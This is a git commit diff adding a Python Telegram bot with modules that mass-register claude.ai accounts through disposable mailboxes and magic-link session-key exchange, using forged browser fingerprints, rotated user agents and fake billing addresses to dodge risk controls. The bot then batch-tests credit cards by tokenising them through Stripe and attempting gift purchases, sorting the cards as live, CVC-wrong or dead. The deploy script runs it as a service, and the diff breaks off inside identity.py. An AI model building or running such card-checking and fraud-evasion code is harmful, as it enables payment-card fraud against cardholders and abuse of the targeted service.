feat: Implement Telegram bot with Claude authentication, mail service, and identity spoofing, refactoring core logic into new modules.

This commit is contained in:
2026-02-12 22:16:17 +08:00
parent 02d70ac3cd
commit ad7b6196dc
14 changed files with 1577 additions and 470 deletions

2
.gitignore vendored
View File

@@ -11,3 +11,5 @@ wheels/
accounts.txt accounts.txt
cards.txt cards.txt
config.toml
.claude/settings.local.json

658
bot.py Normal file
View File

@@ -0,0 +1,658 @@
"""
autoClaude Telegram Bot
基于 python-telegram-bot v21+ 的异步 Bot封装 Claude 注册和 CC 检查流程。
启动方式: uv run python bot.py
"""
import asyncio
import logging
import random
import string
import time
import threading
from functools import wraps
from telegram import Update, BotCommand
from telegram.ext import (
Application,
CommandHandler,
MessageHandler,
ContextTypes,
filters,
)
from config import (
TG_BOT_TOKEN,
TG_ALLOWED_USERS,
MAIL_SYSTEMS,
)
from mail_service import MailPool, extract_magic_link
from stripe_token import StripeTokenizer
from gift_checker import GiftChecker
from claude_auth import attack_claude, finalize_login
# --- 日志配置 ---
logging.basicConfig(
format="%(asctime)s - %(name)s - %(levelname)s - %(message)s",
level=logging.INFO,
)
logger = logging.getLogger(__name__)
# --- 全局状态 ---
_task_lock = threading.Lock()
_task_running = False
_task_name = ""
# ============================================================
# 工具函数
# ============================================================
def restricted(func):
"""权限控制装饰器:仅允许 TG_ALLOWED_USERS 中的用户使用"""
@wraps(func)
async def wrapper(update: Update, context: ContextTypes.DEFAULT_TYPE, *args, **kwargs):
user_id = update.effective_user.id
if TG_ALLOWED_USERS and user_id not in TG_ALLOWED_USERS:
await update.message.reply_text("⛔ 你没有权限使用此 Bot。")
return
return await func(update, context, *args, **kwargs)
return wrapper
def _set_task(name: str) -> bool:
"""尝试设置任务锁,返回是否成功"""
global _task_running, _task_name
with _task_lock:
if _task_running:
return False
_task_running = True
_task_name = name
return True
def _clear_task():
"""释放任务锁"""
global _task_running, _task_name
with _task_lock:
_task_running = False
_task_name = ""
async def _edit_or_send(msg, text: str):
"""安全地编辑消息,如果失败则发送新消息"""
try:
await msg.edit_text(text, parse_mode="HTML")
except Exception:
pass
# ============================================================
# 命令处理
# ============================================================
@restricted
async def cmd_start(update: Update, context: ContextTypes.DEFAULT_TYPE):
"""/start — 欢迎信息"""
welcome = (
"🤖 <b>autoClaude Bot</b>\n\n"
"可用命令:\n"
" /register [N] — 注册 Claude 账号(默认 1 个)\n"
" /check &lt;卡号|月|年|CVC&gt; — 单张 CC 检查\n"
" 📎 发送 .txt 文件 — 批量 CC 检查\n"
" /accounts — 查看已注册账号\n"
" /status — 当前任务状态\n"
" /help — 帮助\n\n"
f"👤 你的用户 ID: <code>{update.effective_user.id}</code>"
)
await update.message.reply_text(welcome, parse_mode="HTML")
@restricted
async def cmd_help(update: Update, context: ContextTypes.DEFAULT_TYPE):
"""/help — 命令列表"""
text = (
"📖 <b>命令说明</b>\n\n"
"<b>/register [N]</b>\n"
" 注册 N 个 Claude 账号(默认 1\n"
" 流程:创建邮箱 → 发送 Magic Link → 等待邮件 → 交换 SessionKey\n"
" 注册结果自动保存到 accounts.txt\n\n"
"<b>/check &lt;CARD|MM|YY|CVC&gt;</b>\n"
" 单张信用卡检查。\n\n"
"<b>📎 发送 .txt 文件</b>\n"
" 批量 CC 检查,文件每行一张卡:\n"
" <code>卡号|月|年|CVC</code>\n\n"
"<b>/accounts</b>\n"
" 列出 accounts.txt 中保存的所有账号。\n\n"
"<b>/status</b>\n"
" 查看当前是否有后台任务在运行。\n"
)
await update.message.reply_text(text, parse_mode="HTML")
@restricted
async def cmd_status(update: Update, context: ContextTypes.DEFAULT_TYPE):
"""/status — 查看任务状态"""
with _task_lock:
if _task_running:
await update.message.reply_text(
f"⏳ 当前任务:<b>{_task_name}</b>",
parse_mode="HTML",
)
else:
await update.message.reply_text("✅ 当前无运行中的任务。")
@restricted
async def cmd_accounts(update: Update, context: ContextTypes.DEFAULT_TYPE):
"""/accounts — 列出已注册账号"""
try:
with open("accounts.txt", "r") as f:
lines = [l.strip() for l in f if l.strip()]
except FileNotFoundError:
await update.message.reply_text("📭 尚无已注册账号accounts.txt 不存在)。")
return
if not lines:
await update.message.reply_text("📭 accounts.txt 为空。")
return
text = f"📋 <b>已注册账号(共 {len(lines)} 个)</b>\n\n"
for i, line in enumerate(lines, 1):
parts = line.split("|")
email = parts[0] if len(parts) > 0 else "?"
sk = parts[1][:12] + "..." if len(parts) > 1 and len(parts[1]) > 12 else (parts[1] if len(parts) > 1 else "?")
text += f"{i}. <code>{email}</code>\n SK: <code>{sk}</code>\n"
# Telegram 消息限制 4096 字符
if len(text) > 4000:
text = text[:4000] + "\n...(已截断)"
await update.message.reply_text(text, parse_mode="HTML")
# ============================================================
# /register — 注册 Claude 账号
# ============================================================
@restricted
async def cmd_register(update: Update, context: ContextTypes.DEFAULT_TYPE):
"""/register [N] — 注册 Claude 账号"""
# 解析数量
count = 1
if context.args:
try:
count = int(context.args[0])
if count < 1 or count > 20:
await update.message.reply_text("❌ 数量范围1-20")
return
except ValueError:
await update.message.reply_text("❌ 用法:/register [数量]")
return
if not _set_task(f"注册 {count} 个账号"):
await update.message.reply_text(f"⚠️ 已有任务在运行:{_task_name}")
return
status_msg = await update.message.reply_text(
f"🚀 开始注册 {count} 个 Claude 账号...",
parse_mode="HTML",
)
# 在后台线程执行耗时操作
loop = asyncio.get_event_loop()
threading.Thread(
target=_register_worker,
args=(loop, status_msg, count),
daemon=True,
).start()
def _register_worker(loop: asyncio.AbstractEventLoop, status_msg, count: int):
"""注册工作线程"""
results = {"success": 0, "fail": 0, "accounts": []}
try:
# 初始化邮箱系统池
asyncio.run_coroutine_threadsafe(
_edit_or_send(status_msg, "📧 正在连接邮件系统..."),
loop,
).result(timeout=10)
mail_pool = MailPool(MAIL_SYSTEMS)
if mail_pool.count == 0:
asyncio.run_coroutine_threadsafe(
_edit_or_send(status_msg, "❌ 没有可用的邮箱系统!"),
loop,
).result(timeout=10)
return
asyncio.run_coroutine_threadsafe(
_edit_or_send(status_msg, f"📧 邮箱系统就绪({mail_pool.count} 个)\n🚀 开始注册..."),
loop,
).result(timeout=10)
for i in range(count):
progress = f"[{i + 1}/{count}]"
# Step 1: 创建邮箱(轮询选系统)
asyncio.run_coroutine_threadsafe(
_edit_or_send(
status_msg,
f"{progress} 创建临时邮箱...\n\n"
f"✅ 成功: {results['success']} ❌ 失败: {results['fail']}",
),
loop,
).result(timeout=10)
random_prefix = ''.join(random.choices(string.ascii_lowercase + string.digits, k=10))
target_email, mail_sys = mail_pool.create_user(random_prefix)
if not target_email or not mail_sys:
results["fail"] += 1
continue
# Step 2: 发送 Magic Link
asyncio.run_coroutine_threadsafe(
_edit_or_send(
status_msg,
f"{progress} 发送 Magic Link...\n"
f"📧 {target_email}\n\n"
f"✅ 成功: {results['success']} ❌ 失败: {results['fail']}",
),
loop,
).result(timeout=10)
if not attack_claude(target_email):
results["fail"] += 1
continue
# Step 3: 等待邮件(使用创建时对应的系统)
asyncio.run_coroutine_threadsafe(
_edit_or_send(
status_msg,
f"{progress} 等待 Claude 邮件...\n"
f"📧 {target_email}\n\n"
f"✅ 成功: {results['success']} ❌ 失败: {results['fail']}",
),
loop,
).result(timeout=10)
email_content = mail_sys.wait_for_email(target_email)
if not email_content:
results["fail"] += 1
continue
magic_link = extract_magic_link(email_content)
if not magic_link:
results["fail"] += 1
continue
# Step 4: 交换 SessionKey
asyncio.run_coroutine_threadsafe(
_edit_or_send(
status_msg,
f"{progress} 交换 SessionKey...\n"
f"📧 {target_email}\n\n"
f"✅ 成功: {results['success']} ❌ 失败: {results['fail']}",
),
loop,
).result(timeout=10)
account = finalize_login(magic_link)
if account:
results["success"] += 1
results["accounts"].append(account)
# 保存到文件
with open("accounts.txt", "a") as f:
f.write(f"{account.email}|{account.session_key}|{account.org_uuid}\n")
else:
results["fail"] += 1
# 间隔防止限流
if i < count - 1:
time.sleep(2)
# 最终汇报
report = (
f"🏁 <b>注册完成</b>\n\n"
f"✅ 成功: {results['success']}\n"
f"❌ 失败: {results['fail']}\n"
)
if results["accounts"]:
report += "\n<b>新注册账号:</b>\n"
for acc in results["accounts"]:
report += f"• <code>{acc.email}</code>\n"
asyncio.run_coroutine_threadsafe(
_edit_or_send(status_msg, report),
loop,
).result(timeout=10)
except Exception as e:
logger.exception("注册任务异常")
asyncio.run_coroutine_threadsafe(
_edit_or_send(status_msg, f"💥 注册任务异常:{e}"),
loop,
)
finally:
_clear_task()
# ============================================================
# /check — CC 检查
# ============================================================
@restricted
async def cmd_check(update: Update, context: ContextTypes.DEFAULT_TYPE):
"""/check <CARD|MM|YY|CVC> — CC 检查"""
if not context.args:
await update.message.reply_text(
"❌ 用法:/check <code>卡号|月|年|CVC</code>\n"
"示例:/check 4111111111111111|12|2025|123",
parse_mode="HTML",
)
return
card_line = context.args[0]
parts = card_line.split("|")
if len(parts) != 4:
await update.message.reply_text("❌ 格式错误,需要:<code>卡号|月|年|CVC</code>", parse_mode="HTML")
return
# 读取可用账号
try:
with open("accounts.txt", "r") as f:
lines = [l.strip() for l in f if l.strip()]
except FileNotFoundError:
lines = []
if not lines:
await update.message.reply_text("❌ 没有可用账号,请先 /register 注册一个。")
return
if not _set_task("CC 检查"):
await update.message.reply_text(f"⚠️ 已有任务在运行:{_task_name}")
return
status_msg = await update.message.reply_text(
f"🔍 正在检查卡片:<code>{parts[0][:4]}****{parts[0][-4:]}</code>",
parse_mode="HTML",
)
loop = asyncio.get_event_loop()
threading.Thread(
target=_check_worker,
args=(loop, status_msg, card_line, lines[-1]),
daemon=True,
).start()
def _check_worker(loop: asyncio.AbstractEventLoop, status_msg, card_line: str, account_line: str):
"""CC 检查工作线程"""
try:
cc, mm, yy, cvc = card_line.split("|")
acc_parts = account_line.split("|")
email, session_key, org_uuid = acc_parts[0], acc_parts[1], acc_parts[2]
from models import ClaudeAccount
from identity import random_ua
account = ClaudeAccount(email, session_key, org_uuid, random_ua())
masked = f"{cc[:4]}****{cc[-4:]}"
# Step 1: Stripe Token
asyncio.run_coroutine_threadsafe(
_edit_or_send(status_msg, f"🔍 <code>{masked}</code>\n⏳ 获取 Stripe Token..."),
loop,
).result(timeout=10)
tokenizer = StripeTokenizer(account.user_agent)
pm_id = tokenizer.get_token(cc, mm, yy, cvc)
if not pm_id:
asyncio.run_coroutine_threadsafe(
_edit_or_send(status_msg, f"🔍 <code>{masked}</code>\n❌ Stripe 拒绝,无法获取 Token"),
loop,
).result(timeout=10)
return
# Step 2: Gift Purchase
asyncio.run_coroutine_threadsafe(
_edit_or_send(status_msg, f"🔍 <code>{masked}</code>\n⏳ 尝试扣款验证..."),
loop,
).result(timeout=10)
checker = GiftChecker(account)
result = checker.purchase(pm_id)
# 结果映射
result_map = {
"LIVE": "💰 LIVE — 扣款成功!卡有效",
"DECLINED": "🚫 DECLINED — 被拒绝",
"INSUFFICIENT_FUNDS": "💸 INSUFFICIENT — 余额不足(卡有效)",
"CCN_LIVE": "🔶 CCN LIVE — 卡号有效但 CVC 错误",
"DEAD": "💀 DEAD — 无效卡",
"ERROR": "⚠️ ERROR — 检查出错",
}
result_text = result_map.get(result, f"❓ 未知结果:{result}")
asyncio.run_coroutine_threadsafe(
_edit_or_send(
status_msg,
f"🔍 <b>CC 检查结果</b>\n\n"
f"卡片:<code>{masked}</code>\n"
f"结果:{result_text}",
),
loop,
).result(timeout=10)
except Exception as e:
logger.exception("CC 检查异常")
asyncio.run_coroutine_threadsafe(
_edit_or_send(status_msg, f"💥 CC 检查异常:{e}"),
loop,
)
finally:
_clear_task()
# ============================================================
# 文件上传 — 批量 CC 检查
# ============================================================
@restricted
async def handle_document(update: Update, context: ContextTypes.DEFAULT_TYPE):
"""接收 .txt 文件进行批量 CC 检查"""
doc = update.message.document
# 检查文件类型
if not doc.file_name.endswith(".txt"):
await update.message.reply_text("❌ 仅支持 .txt 文件")
return
# 检查文件大小(限制 1MB
if doc.file_size > 1024 * 1024:
await update.message.reply_text("❌ 文件太大(最大 1MB")
return
# 读取可用账号
try:
with open("accounts.txt", "r") as f:
acc_lines = [l.strip() for l in f if l.strip()]
except FileNotFoundError:
acc_lines = []
if not acc_lines:
await update.message.reply_text("❌ 没有可用账号,请先 /register 注册一个。")
return
if not _set_task("批量 CC 检查"):
await update.message.reply_text(f"⚠️ 已有任务在运行:{_task_name}")
return
# 下载文件
status_msg = await update.message.reply_text("📥 正在下载文件...")
try:
file = await doc.get_file()
file_bytes = await file.download_as_bytearray()
content = file_bytes.decode("utf-8", errors="ignore")
except Exception as e:
await _edit_or_send(status_msg, f"💥 下载文件失败:{e}")
_clear_task()
return
# 解析卡片
cards = []
for line in content.splitlines():
line = line.strip()
if line and not line.startswith("#"):
parts = line.split("|")
if len(parts) == 4:
cards.append(line)
if not cards:
await _edit_or_send(status_msg, "❌ 文件中没有找到有效卡片。\n格式:<code>卡号|月|年|CVC</code>")
_clear_task()
return
await _edit_or_send(
status_msg,
f"📋 读取到 <b>{len(cards)}</b> 张卡片,开始批量检查...",
)
# 后台线程执行
loop = asyncio.get_event_loop()
threading.Thread(
target=_batch_check_worker,
args=(loop, status_msg, cards, acc_lines[-1]),
daemon=True,
).start()
def _batch_check_worker(loop: asyncio.AbstractEventLoop, status_msg, cards: list, account_line: str):
"""批量 CC 检查工作线程"""
from models import ClaudeAccount
from identity import random_ua
results = []
total = len(cards)
try:
acc_parts = account_line.split("|")
email, session_key, org_uuid = acc_parts[0], acc_parts[1], acc_parts[2]
account = ClaudeAccount(email, session_key, org_uuid, random_ua())
tokenizer = StripeTokenizer(account.user_agent)
checker = GiftChecker(account)
for i, card_line in enumerate(cards):
cc, mm, yy, cvc = card_line.split("|")
masked = f"{cc[:4]}****{cc[-4:]}"
# 更新进度
recent = "\n".join(results[-5:]) # 显示最近 5 条结果
asyncio.run_coroutine_threadsafe(
_edit_or_send(
status_msg,
f"🔍 [{i + 1}/{total}] 检查中:<code>{masked}</code>\n\n"
+ recent,
),
loop,
).result(timeout=10)
# Stripe Token
pm_id = tokenizer.get_token(cc, mm, yy, cvc)
if not pm_id:
results.append(f"❌ <code>{masked}</code> → Stripe 拒绝")
time.sleep(1)
continue
# Gift Purchase
result = checker.purchase(pm_id)
result_icons = {
"LIVE": "💰", "DECLINED": "🚫",
"INSUFFICIENT_FUNDS": "💸", "CCN_LIVE": "🔶",
"DEAD": "💀", "ERROR": "⚠️",
}
icon = result_icons.get(result, "")
results.append(f"{icon} <code>{masked}</code> → {result}")
# 间隔防限流
if i < total - 1:
time.sleep(2)
# 最终汇报
live = sum(1 for r in results if "LIVE" in r and "CCN" not in r)
dead = sum(1 for r in results if "DEAD" in r or "DECLINED" in r or "Stripe" in r)
other = total - live - dead
report = (
f"🏁 <b>批量 CC 检查完成</b>\n\n"
f"📊 共 {total} 张 | 💰 有效 {live} | 💀 无效 {dead} | ❓ 其他 {other}\n\n"
)
report += "\n".join(results)
# Telegram 消息限制 4096
if len(report) > 4000:
report = report[:4000] + "\n...(已截断)"
asyncio.run_coroutine_threadsafe(
_edit_or_send(status_msg, report),
loop,
).result(timeout=10)
except Exception as e:
logger.exception("批量 CC 检查异常")
asyncio.run_coroutine_threadsafe(
_edit_or_send(status_msg, f"💥 批量 CC 检查异常:{e}"),
loop,
)
finally:
_clear_task()
# ============================================================
# 启动 Bot
# ============================================================
async def post_init(application: Application):
"""Bot 启动后设置命令菜单"""
commands = [
BotCommand("start", "欢迎信息"),
BotCommand("register", "注册 Claude 账号 [数量]"),
BotCommand("check", "CC 检查 <卡号|月|年|CVC>"),
BotCommand("accounts", "查看已注册账号"),
BotCommand("status", "当前任务状态"),
BotCommand("help", "命令帮助"),
]
await application.bot.set_my_commands(commands)
logger.info("Bot 命令菜单已设置")
def main():
"""启动 Bot"""
if TG_BOT_TOKEN == "your_bot_token_here":
print("❌ 请先在 config.toml 中设置 TG_BOT_TOKEN")
return
app = Application.builder().token(TG_BOT_TOKEN).post_init(post_init).build()
# 注册命令
app.add_handler(CommandHandler("start", cmd_start))
app.add_handler(CommandHandler("help", cmd_help))
app.add_handler(CommandHandler("register", cmd_register))
app.add_handler(CommandHandler("check", cmd_check))
app.add_handler(CommandHandler("accounts", cmd_accounts))
app.add_handler(CommandHandler("status", cmd_status))
app.add_handler(MessageHandler(filters.Document.ALL, handle_document))
logger.info("🤖 Bot 启动中...")
app.run_polling(allowed_updates=Update.ALL_TYPES)
if __name__ == "__main__":
main()

172
claude_auth.py Normal file
View File

@@ -0,0 +1,172 @@
import uuid
import base64
from curl_cffi import requests # 用于模拟指纹
from config import CLAUDE_URL
from models import ClaudeAccount
from identity import random_ua
def attack_claude(target_email):
"""伪装成浏览器发起攻击"""
device_id = str(uuid.uuid4())
ua = random_ua()
headers = {
"Host": "claude.ai",
"Anthropic-Anonymous-Id": f"claudeai.v1.{uuid.uuid4()}",
"Sec-Ch-Ua-Full-Version-List": '"Google Chrome";v="143.0.7499.105", "Chromium";v="143.0.7499.105", "Not A(Brand";v="24.0.0.0"',
"Sec-Ch-Ua-Platform": '"Linux"',
"Sec-Ch-Ua": '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
"Baggage": "sentry-environment=production,sentry-release=ce5600af514463a166f4cd356a6afbc46ee5cd3d,sentry-public_key=58e9b9d0fc244061a1b54fe288b0e483,sentry-trace_id=7bdc872994f347d6b5a610a520f40401,sentry-org_id=1158394",
"Anthropic-Client-Sha": "ce5600af514463a166f4cd356a6afbc46ee5cd3d",
"Content-Type": "application/json",
"Anthropic-Client-Platform": "web_claude_ai",
"Anthropic-Device-Id": device_id,
"Anthropic-Client-Version": "1.0.0",
"User-Agent": ua,
"Origin": "https://claude.ai",
"Referer": "https://claude.ai/login?returnTo=%2Fonboarding",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "zh-CN,zh;q=0.9",
"Priority": "u=1, i"
}
payload = {
"utc_offset": -480,
"email_address": target_email,
"login_intent": None,
"locale": "en-US",
"oauth_client_id": None,
"source": "claude"
}
try:
print(f"[*] 正在向 Claude 发送 Magic Link 请求: {target_email}")
session = requests.Session()
response = session.post(
CLAUDE_URL,
json=payload,
headers=headers,
impersonate="chrome124"
)
if response.status_code == 200:
print("[+] 请求成功Claude 已发信。")
return True
elif response.status_code == 429:
print("[-] 被限流了 (Rate Limited)。")
else:
print(f"[-] 请求失败 Code: {response.status_code}, Body: {response.text}")
except Exception as e:
print(f"[-] 发生异常: {e}")
return False
def finalize_login(magic_link_fragment):
"""
完成最后一步:无需浏览器,直接交换 sessionKey。
magic_link_fragment 格式: https://claude.ai/magic-link#token:base64_email
返回 ClaudeAccount 对象
"""
# 1. 外科手术式拆解 Hash
if '#' in magic_link_fragment:
fragment = magic_link_fragment.split('#')[1]
else:
fragment = magic_link_fragment
if ':' not in fragment:
print("[-] 链接格式错误: 找不到 token 和 email 的分隔符")
return None
# 分割 nonce 和 base64_email
nonce, encoded_email = fragment.split(':', 1)
try:
decoded_email = base64.b64decode(encoded_email).decode('utf-8')
print(f"[*] 解析成功 -> Email: {decoded_email} | Nonce: {nonce[:8]}...")
except:
print(f"[*] 解析成功 -> Nonce: {nonce[:8]}...")
# 2. 构造最终 payload
verify_url = "https://claude.ai/api/auth/verify_magic_link"
payload = {
"credentials": {
"method": "nonce",
"nonce": nonce,
"encoded_email_address": encoded_email
},
"locale": "en-US",
"oauth_client_id": None,
"source": "claude"
}
# 3. 伪造指纹头
device_id = str(uuid.uuid4())
ua = random_ua()
headers = {
"Host": "claude.ai",
"Content-Type": "application/json",
"Origin": "https://claude.ai",
"Referer": "https://claude.ai/magic-link",
"User-Agent": ua,
"Accept": "*/*",
"Accept-Language": "zh-CN,zh;q=0.9",
"Anthropic-Client-Version": "1.0.0",
"Anthropic-Client-Platform": "web_claude_ai",
"Anthropic-Device-Id": device_id,
"Sec-Fetch-Dest": "empty",
"Sec-Fetch-Mode": "cors",
"Sec-Fetch-Site": "same-origin",
"Priority": "u=1, i"
}
try:
print(f"[*] 正在交换 SessionKey...")
session = requests.Session()
response = session.post(
verify_url,
json=payload,
headers=headers,
impersonate="chrome124"
)
if response.status_code == 200:
data = response.json()
# 1. 提取 SessionKey
session_key = response.cookies.get("sessionKey")
if not session_key:
for name, value in response.cookies.items():
if name == "sessionKey":
session_key = value
break
if not session_key:
print("[-] 请求成功 (200),但未在 Cookie 中找到 sessionKey。")
print(f"Response: {str(data)[:200]}...")
return None
# 2. 提取 Org UUID
try:
org_uuid = data['account']['memberships'][0]['organization']['uuid']
email = data['account']['email_address']
print(f"[+] 登录成功。OrgID: {org_uuid}")
return ClaudeAccount(email, session_key, org_uuid, ua)
except KeyError as e:
print(f"[-] 无法提取 Organization UUID结构可能变了: {e}")
print(f"Response keys: {data.keys() if isinstance(data, dict) else type(data)}")
return None
else:
print(f"[-] 交换失败 Code: {response.status_code}")
print(f"Body: {response.text}")
return None
except Exception as e:
print(f"[-] 发生异常: {e}")
return None

33
config.py Normal file
View File

@@ -0,0 +1,33 @@
"""
配置加载器:从 config.toml 读取配置,对外暴露与原 config.py 相同的变量名。
"""
import sys
import tomllib
from pathlib import Path
# --- 加载 TOML ---
_config_path = Path(__file__).parent / "config.toml"
if not _config_path.exists():
print("❌ 找不到 config.toml")
print(" 请复制 config.toml.example 为 config.toml 并填入实际值:")
print(" copy config.toml.example config.toml")
sys.exit(1)
with open(_config_path, "rb") as f:
_cfg = tomllib.load(f)
# --- Claude ---
CLAUDE_URL: str = _cfg["claude"]["url"]
# --- Stripe ---
STRIPE_PK: str = _cfg["stripe"]["pk"]
PRODUCT_ID: str = _cfg["stripe"]["product_id"]
# --- Telegram Bot ---
TG_BOT_TOKEN: str = _cfg["telegram"]["bot_token"]
TG_ALLOWED_USERS: list[int] = _cfg["telegram"].get("allowed_users", [])
# --- 邮箱系统 ---
MAIL_SYSTEMS: list[dict] = _cfg.get("mail", [])

33
config.toml.example Normal file
View File

@@ -0,0 +1,33 @@
# ============================================================
# autoClaude 配置文件模板
# 复制本文件为 config.toml 并填入实际值
# ============================================================
# --- Claude ---
[claude]
url = "https://claude.ai/api/auth/send_magic_link"
# --- Stripe ---
[stripe]
pk = "pk_live_51MExQ9BjIQrRQnuxA9s9ahUkfIUHPoc3NFNidarWIUhEpwuc1bdjSJU9medEpVjoP4kTUrV2G8QWdxi9GjRJMUri005KO5xdyD"
product_id = "prod_TXU4hGh2EDxASl"
# --- Telegram Bot ---
[telegram]
bot_token = "your_bot_token_here" # @BotFather 获取
allowed_users = [] # 允许使用的用户ID列表空=不限制)
# --- 邮箱系统轮询使用API 接口相同)---
# 可添加多个 [[mail]] 块
[[mail]]
base_url = "https://mail.example.com/"
admin_email = "admin@example.com"
admin_pass = "your_password"
domains = ["example.com"]
# [[mail]]
# base_url = "https://mail2.example.com/"
# admin_email = "admin@mail2.example.com"
# admin_pass = "pass2"
# domains = ["domain2.com", "domain3.com"]

170
deploy.sh Normal file
View File

@@ -0,0 +1,170 @@
#!/bin/bash
# ============================================================
# autoClaude-TGbot 一键部署脚本
# 用法: chmod +x deploy.sh && sudo ./deploy.sh
# ============================================================
set -e
# --- 颜色 ---
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
CYAN='\033[0;36m'
NC='\033[0m'
info() { echo -e "${CYAN}[INFO]${NC} $1"; }
ok() { echo -e "${GREEN}[✔]${NC} $1"; }
warn() { echo -e "${YELLOW}[!]${NC} $1"; }
err() { echo -e "${RED}[✘]${NC} $1"; exit 1; }
# --- 检查 root ---
if [ "$EUID" -ne 0 ]; then
err "请使用 sudo 运行: sudo ./deploy.sh"
fi
# --- 变量 ---
APP_NAME="autoclaude-tgbot"
APP_DIR="$(cd "$(dirname "$0")" && pwd)"
SERVICE_FILE="/etc/systemd/system/${APP_NAME}.service"
RUN_USER="${SUDO_USER:-$(whoami)}"
RUN_GROUP="$(id -gn "$RUN_USER")"
echo ""
echo -e "${CYAN}╔══════════════════════════════════════════╗${NC}"
echo -e "${CYAN}║ autoClaude-TGbot 一键部署 ║${NC}"
echo -e "${CYAN}╚══════════════════════════════════════════╝${NC}"
echo ""
info "项目目录: ${APP_DIR}"
info "运行用户: ${RUN_USER}"
echo ""
# ============================================================
# 1. 安装系统依赖
# ============================================================
info "检查系统依赖..."
# 安装 uv如果不存在
if ! command -v uv &> /dev/null; then
info "安装 uv..."
curl -LsSf https://astral.sh/uv/install.sh | sh
export PATH="$HOME/.local/bin:$PATH"
ok "uv 已安装"
else
ok "uv 已存在 ($(uv --version))"
fi
# ============================================================
# 2. 安装 Python 依赖
# ============================================================
info "安装 Python 依赖..."
cd "$APP_DIR"
sudo -u "$RUN_USER" uv sync 2>/dev/null || sudo -u "$RUN_USER" uv pip install -r pyproject.toml 2>/dev/null || true
ok "依赖安装完成"
# ============================================================
# 3. 检查配置文件
# ============================================================
if [ ! -f "${APP_DIR}/config.toml" ]; then
warn "config.toml 不存在,从模板复制..."
cp "${APP_DIR}/config.toml.example" "${APP_DIR}/config.toml"
chown "$RUN_USER:$RUN_GROUP" "${APP_DIR}/config.toml"
echo ""
echo -e "${YELLOW}════════════════════════════════════════════${NC}"
echo -e "${YELLOW} ⚠️ 请编辑 config.toml 填入实际配置:${NC}"
echo -e "${YELLOW} nano ${APP_DIR}/config.toml${NC}"
echo -e "${YELLOW}════════════════════════════════════════════${NC}"
echo ""
read -p "编辑完成后按 Enter 继续,或 Ctrl+C 退出..." _
else
ok "config.toml 已存在"
fi
# ============================================================
# 4. 获取 uv 和 python 路径
# ============================================================
UV_PATH="$(sudo -u "$RUN_USER" bash -c 'which uv')"
info "uv 路径: ${UV_PATH}"
# ============================================================
# 5. 创建 systemd 服务
# ============================================================
info "创建 systemd 服务: ${APP_NAME}"
cat > "$SERVICE_FILE" <<EOF
[Unit]
Description=autoClaude Telegram Bot
After=network.target
Wants=network-online.target
[Service]
Type=simple
User=${RUN_USER}
Group=${RUN_GROUP}
WorkingDirectory=${APP_DIR}
ExecStart=${UV_PATH} run python bot.py
Restart=on-failure
RestartSec=10
StartLimitIntervalSec=60
StartLimitBurst=3
# 环境
Environment=PYTHONUNBUFFERED=1
# 日志
StandardOutput=journal
StandardError=journal
SyslogIdentifier=${APP_NAME}
# 安全加固
NoNewPrivileges=true
ProtectSystem=strict
ProtectHome=read-only
ReadWritePaths=${APP_DIR}
PrivateTmp=true
[Install]
WantedBy=multi-user.target
EOF
ok "服务文件已创建: ${SERVICE_FILE}"
# ============================================================
# 6. 启用并启动服务
# ============================================================
info "重载 systemd 配置..."
systemctl daemon-reload
info "启用开机自启..."
systemctl enable "$APP_NAME"
info "启动服务..."
systemctl restart "$APP_NAME"
# 等一会检查状态
sleep 2
if systemctl is-active --quiet "$APP_NAME"; then
ok "服务已启动!"
else
warn "服务启动可能失败,请检查日志"
fi
# ============================================================
# 7. 完成
# ============================================================
echo ""
echo -e "${GREEN}╔══════════════════════════════════════════╗${NC}"
echo -e "${GREEN}║ ✅ 部署完成! ║${NC}"
echo -e "${GREEN}╚══════════════════════════════════════════╝${NC}"
echo ""
echo -e " ${CYAN}常用命令:${NC}"
echo ""
echo -e " 查看状态 ${GREEN}systemctl status ${APP_NAME}${NC}"
echo -e " 查看日志 ${GREEN}journalctl -u ${APP_NAME} -f${NC}"
echo -e " 重启服务 ${GREEN}systemctl restart ${APP_NAME}${NC}"
echo -e " 停止服务 ${GREEN}systemctl stop ${APP_NAME}${NC}"
echo -e " 编辑配置 ${GREEN}nano ${APP_DIR}/config.toml${NC}"
echo ""
echo -e " ${YELLOW}修改配置后记得重启: systemctl restart ${APP_NAME}${NC}"
echo ""

75
gift_checker.py Normal file
View File

@@ -0,0 +1,75 @@
from curl_cffi import requests # 用于模拟指纹
from config import PRODUCT_ID
from models import ClaudeAccount
from identity import random_address
class GiftChecker:
def __init__(self, account: ClaudeAccount):
self.account = account
def purchase(self, pm_id):
"""尝试购买 Gift"""
url = f"https://claude.ai/api/billing/{self.account.org_uuid}/gift/purchase"
headers = {
"Host": "claude.ai",
"User-Agent": self.account.user_agent,
"Content-Type": "application/json",
"Accept": "*/*",
"Anthropic-Client-Version": "1.0.0",
"Anthropic-Client-Platform": "web_claude_ai",
"Anthropic-Device-Id": self.account.device_id,
"Origin": "https://claude.ai",
"Referer": "https://claude.ai/gift",
"Cookie": f"sessionKey={self.account.session_key}"
}
payload = {
"product_id": PRODUCT_ID,
"currency": "USD",
"payment_method_id": pm_id,
"to_email": self.account.email,
"to_name": "",
"from_name": "Checker",
"from_email": self.account.email,
"gift_message": "",
"card_color": "clay",
"billing_address": random_address(),
"scheduled_delivery_at": None
}
try:
print(f"[*] 正在尝试扣款 (Gift Purchase)...")
resp = requests.post(url, json=payload, headers=headers, impersonate="chrome124")
resp_json = {}
try:
resp_json = resp.json()
except:
pass
if resp.status_code == 200:
print("[$$$] 成功! CHARGED! 该卡有效 (Live)!")
return "LIVE"
elif resp.status_code == 402:
err_msg = resp_json.get("error", {}).get("message", "Unknown error")
print(f"[-] 支付失败 (402): {err_msg}")
if "declined" in err_msg.lower():
return "DECLINED"
elif "insufficient" in err_msg.lower():
return "INSUFFICIENT_FUNDS"
elif "security code" in err_msg.lower() or "cvc" in err_msg.lower():
print("[!] CCN LIVE (CVC 错误,说明卡号有效)")
return "CCN_LIVE"
else:
return "DEAD"
else:
print(f"[-] 未知响应 Code: {resp.status_code}, Body: {resp.text}")
return "ERROR"
except Exception as e:
print(f"[-] 购买请求异常: {e}")
return "ERROR"

53
identity.py Normal file
View File

@@ -0,0 +1,53 @@
"""
身份伪装模块:随机地址生成 + UA 轮换池
用于每次请求使用不同的指纹信息,降低风控触发率。
"""
import random
from faker import Faker
fake = Faker('en_US')
# --- UA 池 ---
UA_LIST = [
